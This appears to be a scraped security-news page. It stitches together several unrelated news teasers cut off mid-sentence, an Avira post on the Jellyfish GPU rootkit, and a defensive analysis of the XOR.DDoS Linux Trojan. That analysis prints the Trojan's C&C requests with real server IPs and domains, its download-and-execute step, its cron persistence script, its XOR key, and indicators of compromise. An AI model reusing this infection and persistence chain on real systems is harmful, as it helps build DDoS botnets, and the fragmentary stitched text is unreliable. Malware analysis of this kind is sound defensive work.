A Russian man accused of infecting tens of thousands of computer servers worldwide to generate millions in illicit profit has finally entered a guilty plea in the United States and is going to face sentencing in August.
Maxim Senakh, 41, of Velikii Novgorod, Russia, pleaded guilty in a US federal court on Tuesday for his role in the development and maintenance of the infamous Linux botnet
“Linux doesn’t get viruses” — It’s a Myth.
A new Trojan has been discovered in the wild that turns Linux-based devices into proxy servers, which attackers use to protect their identity while launching cyber attacks from the hijacked systems.
Dubbed Linux.Proxy.10, the Trojan was first spotted at the end of last year by the researchers from Russian security firm Doctor Web, who later
The whole world is still dealing with the Mirai IoT Botnet that caused vast internet outage last Friday by launching massive distributed denial of service (DDoS) attacks against the DNS provider Dyn, and researchers have found another nasty IoT botnet.
Security researchers at MalwareMustDie have discovered a new malware family designed to turn Linux-based insecure Internet of Things (IoT)
Anything connected to the Internet could be hacked and so is the Internet of Things (IoTs).
The market fragmentation of IoTs or Internet-connected devices is a security nightmare, due to poor security measures implemented by their vendors.
Now, the researchers at security firm ESET have discovered a piece of Malware that is targeting embedded devices such as routers, and other
Are you also the one who downloaded Linux Mint on February 20th? You may have been Infected!
Linux Mint is one of the best and popular Linux distros available today, but if you have downloaded and installed the operating system recently you might have done so using a malicious ISO image.
Here’s why:
Last night, Some unknown hacker or group of hackers had managed to hack into the
The same “Vigilante-style Hacker,” who previously hacked more than 10,000 routers to make them more secure, has once again made headlines by compromising more than 70,000 home routers and apparently forcing their owners to make them secure against flaws and weak passwords.
Just like the infamous hacking group Lizard Squad, the group of white hat hackers, dubbed the White Team, is building
A rootkit PoC for Linux systems that runs on the processors and RAM of the graphics cards, Jellyfish is able to access the computer’s memory without having to route through the computer’s CPU. As CPUs are slower than GPUs for making calculations, GPUs are already used partially by some cryptocurrency-mining malware (e.g. to steal Bitcoins). But Jellyfish is the first malware to run entirely via the GPU, and works with Nvidia, AMD, and even Intel, if the latter is “supported through the AMD APP SDK, a software development kit that allows GPUs to be used for accelerating applications,” says Constantin.
As graphics-card-only malware has never been an exploitable area before, security software developers like Avira would need to engineer security efforts in yet another new direction. Although early reports indicate that Jellyfish is in a beta stage, unfinished, with some bugs, and currently requires OpenCL drivers installed on the targeted system in order to work, it could inspire future variants by those looking to exploit such vulnerabilities for personal gain (AKA cybercriminals).
After a 2013 research paper (pdf) titled “You Can Type, but You Can’t Hide: A Stealthy GPU-based Keylogger,” the same research team behind Jellyfish has also developed a keylogger called ‘Demon’, which also works via the GPU.
Security firms may definitely have our hands full in coming months, it seems.
The post New Linux Rootkit Exploits Graphics Cards appeared first on Avira Blog.
At the end of September 2014, a new threat for the Linux operating system dubbed XOR.DDoS forming a botnet for distributed denial-of-service attacks was reported by the MalwareMustDie! group. The post mentioned the initial intrusion of SSH connection, static properties of related Linux executable and encryption methods used. Later, we realized that the installation process is customized to a victim’s Linux environment for the sake of running an additional rootkit component. In this blog post, we will describe the installation steps, the rootkit itself, and the communication protocol for getting attack commands.
The infection starts by an attempt to brute force SSH login credentials of the root user. If successful, attackers gain access to the compromised machine, then install the Trojan usually via a shell script. The script contains procedures like main, check, compiler, uncompress, setup, generate, upload, checkbuild, etc. and variables like __host_32__, __host_64__, __kernel__, __remote__, etc. The main procedure decrypts and selects the C&C server based on the architecture of the system.
In the requests below, iid parameter is the MD5 hash of the name of the kernel version. The script first lists all the modules running on the current system by the command lsmod. Then it takes the last one and extracts its name and the parameter vermagic. In one of our cases, the testing environment runs under “3.8.0-19-generic SMP mod_unload modversions 686 “, which has the MD5 hash equal to CE74BF62ACFE944B2167248DD0674977.
Three GET requests are issued to C&C. The first one is performed by the check procedure (note the original misspelling):
| request: GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply: 1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists! |
Then compiler procedure issues another GET request in which parameters like C&C servers, version info, etc, are passed to the server where they are compiled into a newly created executable:
| request: GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin &password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C 66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005 &ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20 &kernel=3.8.0 reply: 1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists! |
Finally, the third GET request downloads the customized version of the Trojan’s binary in the form of a gzip archive, which is unpacked and executed:
| request: GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz reply: 1001|CE74BF62ACFE944B2167248DD0674977|create ok |
The previous steps run only in the case that there already is a built version for the current kernel version on the server side. If not, the script locates the kernel headers in /lib/modules/%s/build/ directory, where %s means the return value after calling the command uname with parameter r, then packs all files and uploads them to the C&C server using a custom uploader called mini. The steps of the first scenario follows.
The rootkit component is a loadable kernel module (LKM). To install it successfully on a system, the vermagic value of LKM needs to agree with the version of the kernel headers installed on the user’s system. That’s the motivation behind previous installation steps. If previous sequences fail, the script installs a Trojan omitting the rootkit component.
The binary structure of the main executable is as follows:
The persistence of the Trojan is achieved in multiple ways. First, it is installed into the /boot/ directory with a random 10-character string. Then a script with the identical name as the Trojan is created in the /etc/init.d directory. It is together with five symbolic links pointing to the script created in /etc/rc%u.d/S90%s, where %u runs from 1 to 5 and %s is substitute with the random. Moreover, a script /etc/cron.hourly/cron.sh is added with the content:
| #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’ for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1′,27h,’}`; do ifconfig $i up& done cp /lib/udev/udev /lib/udev/debug /lib/udev/debug |
The line “*/3 * * * * root /etc/cron.hourly/cron.sh” is inserted in the crontab.
The functionality of the main executable lies in three infinite loops responsible for 1. downloading and executing instructions in a bot’s configuration file, 2. reinstalling itself as the /lib/udev/udev file, and 3. performing flooding commands. The configuration file contains four categories of lists: md5, denyip, filename and rmfile and mean killing a running process based on its CRC checksum, on the active communication with an IP from the list, on a filename, and finally removing a file with a specified name. In the next figure, a fragment of the config file is displayed (known filenames connected with competing flooding Trojans are highlighted):
The lists of processes to kill or remove before its own installation is typical for flooding Trojans.
Also we have to note that there is a variant of this Trojan compiled for the ARM architecture. This suggests that the list of potentially infected systems (besides 32-bit and 64-bit Linux web servers and desktops) is extended for routers, Internet of Things devices, NAS storages or 32-bit ARM servers (however, it has not been observed in the wild yet). It contains an additional implementation of the download-and-execute feature in an infinite loop called daemondown:
A few days ago, a new 32-bit variant of this Trojan with few modifications was observed. The bot is installed as /lib/libgcc4.so file, the unique file containing its identification string (see later) was /var/run/udev.pid, the initialization script was /etc/cron.hourly/udev.sh and the rootkit features were completely omitted. The presence of all these files could serve as an indicator of compromise (IoC).
Trojans for the Windows platform have used various rootkit features for a very long time. It is known that some trojanized flooding tools had the Windows variant utilizing the Agony rootkit (its source code has been publicly shared and available since 2006). We presented research related to these malicious DDoS tools at Botconf 2014 in a survey called Chinese Chicken: Multiplatform-DDoS-Botnets. Now there is a flooding Trojan for Linux that also contains an embedded rootkit. It’s main functionality is to hide various aspects of the Trojan’s activity and is provided by procedures in the switch table:
The Trojan running in the userspace requests these features from the rootkit in the kernel by ioctl command with a specific code (0×9748712). The presence of the rootkit is first checked by opening a process with the name rs_dev:
The own request needs two parameters: One specifies the number of the command to be performed by the rootkit, and the other one is the number of the port to be hidden. Below is an example of how the Trojan hides the TCP port (notice the task value 3):
Based on the procedure names, it is likely that the malware authors were inspired by the open source project called Suterusu to build up their rootkit. The Trojan from last year called Hand of Thief failed in its ambitions to be the first banking Trojan for Linux desktops. It also borrowed part of its code from an existing open source project, namely methods of process injection. The description of the project says “An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM”. Another article related to Suterusu was published in January 2013.
The communication is encrypted in both directions with the same hard-coded XOR key (BB2FA36AAA9541F0) as the configuration file. An additional file /var/run/sftp.pid containing an unique magic string of length 32 bytes is stored and utilized as an unique identifier of a victim’s machine within the communication. There is a list of C&C commands, for which the bot listens to: To start flooding, to stop flooding, to download-and-execute, to self-update, to send the MD5 hash of its memory, and to get list of processes to kill:
The list of C&Cs is stored in the shell script in the __remote__ variable. The Trojan first sends information about the running system to the C&C server (very likely to be displayed on a panel of a botnet operator). The replies usually arrived in a form of a command. The header of the command is 0x1C bytes long and is stored within a structure called Header. The first command is to stop any flooding attack and the next one to start one with the list of hosts provided. The entries of the Header are shown below. Highlighted parameters are the size of the total size of a command (Size, 0x102C), the task number (Order, 0×3, i.e. _cmd_start in the switch table), and the number of flooding tasks (Task_Num, 0xF):
The rest of the flooding command contains an encrypted structure with attack tasks. After decryption, we can see an IP address (red color) and ports (green color) which will be flooded by the Trojan and other parameters of the DDoS attack (e.g. grey color decides the type of attack: SYN/DNS).
Thanks to my colleague, Jaromír Hořejší, for cooperation on this analysis. Pop-art was created by the independent digital artist Veronika Begánová.
Here are the samples connected with the analysis:
| Install script | BA84C056FB4541FE26CB0E10BC6A075585 990F3CE3CDE2B49475022AD5254E5B |
BV:Xorddos-B [Trj] |
| Xorddos Uploader | 44153031700A019E8F9E434107E4706A705 F032898D3A9819C4909B2AF634F18 |
ELF:Xorddos-J [Trj] |
| Xorddos Trojan for EM_386 | AD26ABC8CD8770CA4ECC7ED20F37B510E 827E7521733ECAEB3981BF2E4A96FBF |
ELF:Xorddos-A [Trj] |
| Xorddos Trojan for EM_x86_64 | 859A952FF05806C9E0652A9BA18D521E57 090D4E3ED3BEF07442E42CA1DF04B6 |
ELF:Xorddos-A [Trj] |
| Xorddos Rootkit | 6BE322CD81EBC60CFEEAC2896B26EF015D 975AD3DDA95AE63C4C7A28B7809029 |
ELF:Xorddos-D [Rtk] |
| Xorddos Trojan for EM_ARM | 49963D925701FE5C7797A728A044F09562 CA19EDD157733BC10A6EFD43356EA0 |
ELF:Xorddos-I [Trj] |
| Xorddos Trojan no rootkit | 24B9DB26B4335FC7D8A230F04F49F87B1F 20D1E60C2FE6A12C70070BF8427AFF |
ELF:Xorddos-K [Trj] |
